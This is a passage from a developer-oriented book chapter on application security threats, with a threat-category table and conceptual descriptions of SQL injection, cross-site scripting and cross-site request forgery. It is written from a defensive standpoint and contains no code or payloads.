Ensuring that software applications are secure is one of the most challenging aspects to software development—and perhaps the most important issue for application developers to contend with today. With the evolution of software beyond the desktop to more integrated, globally connected, Web-based experiences, users are now faced with broader exposure to malicious acts being perpetrated through software. Security is extremely important to our users, and, although the quote from General MacArthur is blunt, it is unfortunately accurate. Security can only be realized when malicious attacks are thwarted by defensive countermeasures. Therefore, application security depends on the breadth and depth of the preventative measures established by the application developer.
Implementing secure designs is not an offensive tactic but rather a defensive one. The attacker who is interested in exploiting vulnerabilities in your application is not likely to provide warnings about the specifics or timing of the attack. Software designs must carefully consider the application’s potential threats, the scope of the attack surface, and the available mitigation strategies to defend against a variety of potential attacks. Application developers must embrace security principles and practices during design and implementation to avoid introducing a class of security bugs that could be very difficult and time consuming to address late in the development cycle. In this chapter, we will evaluate the common application security threats facing application developers, discuss the principles of designing secure applications, as well as enumerate tactics for achieving greater levels of security within your products. Incorporating security-focused principles and practices into the development life cycle, especially during design and implementation, will ultimately lead to a safer and more secure experience for the users of the software. Let’s begin by reviewing some common security threats that your products are likely to encounter.
There are a number of security threats facing application developers today. These threats attempt to abuse all facets of the application architecture, including but not limited to the network the application utilizes, protocols, the operating system the application is running on, and the application code itself. Many of these threats, such as remote code execution, have existed for decades, but as the Internet has become a communication hub for people and software, new threats have evolved. These include attacks like cross-site scripting, cross-site request forgery, Trojan horse viruses, and phishing, to name a few. An exhaustive list of categorized security threats has been provided in 6-1. This list is an adaptation of the information provided in the MSDN Patterns and Practices article, "Improving Web Application Security: Threats and Countermeasures," which can be found at http://msdn.microsoft.com/en=us/library/ms994921.aspx. For now, let’s consider a few examples that are common challenges for .NET application developers today.
Table 6-1. Categories of Common Security Threats
Category | Examples of Specific Threats |
|---|---|
Authentication | Credential theft, eavesdropping, dictionary and brute force attacks, cookie replay. |
Authorization | Elevation of privilege, data tampering, disclosure of confidential data. |
Application configuration | Process and service accounts with elevated privileges, retrieval of clear text configuration data. |
Auditing and logging | An attacker exploits an application or user without leaving traceable evidence of the attack. |
Cryptography | Weak encryption, lack of robust key generation or key management. |
Exception management | Denial of service, disclosure of sensitive information. |
Input validation | Buffer overflow, cross-site scripting, SQL injection, cross-site request forgery. |
Machine threats | Viruses, Trojans, worms, password cracks, arbitrary code execution, unauthorized access to machine. |
Parameter manipulation | Query string, cookie, HTTP header manipulation. |
Privacy and data compromise | Access to sensitive data in storage or on the wire, data tampering. |
Session management | Session hijacking or replay, man in the middle. |
SQL Injection. This type of attack affects any application, both Web and Win32 client, that accepts user input and subsequently executes database queries. SQL injection attacks can inject database commands into the user input stream as a means to maliciously modify the SQL commands that are being sent to the back-end database. This attack can be perpetrated using the application’s database login credentials and potentially wreak havoc on user data or the database itself.
Cross-site scripting (XSS). Perhaps the most common form of online security exploit, this vulnerability is found in Web-based applications, which allow Hypertext Markup Language (HTML) and client-side script inputs into the application’s pages. A classic example of this attack is that of a malicious hyperlink stored in an online forum, blog, or other site that accepts HTML and script input. For the attacker, the goal is to present the malicious script on the Web page as content that appears to belong to the page. The attacker may craft the hyperlink in a way that executes a malicious script, downloads a file, or even obtains access to sensitive data on the local machine when the link is invoked by any user who visits the site. This type of vulnerability has been reported on many of today’s popular Web sites.
Cross-site request forgery. This attack (also known as the one-click attack, or session riding) attempts to exploit a Web site’s trust of a particular user. Cross-site request forgery affects Web applications that accept user input. The attack works by using a hyperlink that attempts to run unauthorized commands against a particular Web site on behalf of a user who the Web site trusts, specifically the user who was clicked the hyperlink. Typically, these attacks are perpetrated against Web applications that perform actions based on inputs from authenticated users, without requiring the user to authorize the action. The canonical example of this attack is that of a Web-based mail application that accepts HTTP request-based method invocations. If an attacker were to craft a URL that performs a malicious action, such as deleting the inbox, and successfully get a user who uses that application to click on that URL, then based on the site’s trust of that user, the method would be executed. Applications that allow user authentication to be persisted in a local cookie are particularly at risk.
Upon reviewing the breadth of these security threats, application developers should have a healthy fear about protecting their applications, infrastructure, and users from would-be predators online or within the corporate network. These threats are much more pervasive than you may realize. The Symantec Government Internet Security Threat Report, which was published in April 2008 by Symantec, reported that in the second half of 2007, 499,811 new malicious code threats were reported to Symantec. This figure represented a 136 percent increase over the first half of 2007. Clearly, application security threats represent a formidable foe to all application developers. Being able to effectively mitigate these threats is paramount for all application developers. Let us consider how to design our applications to be more secure and effectively mitigate the aforementioned risks.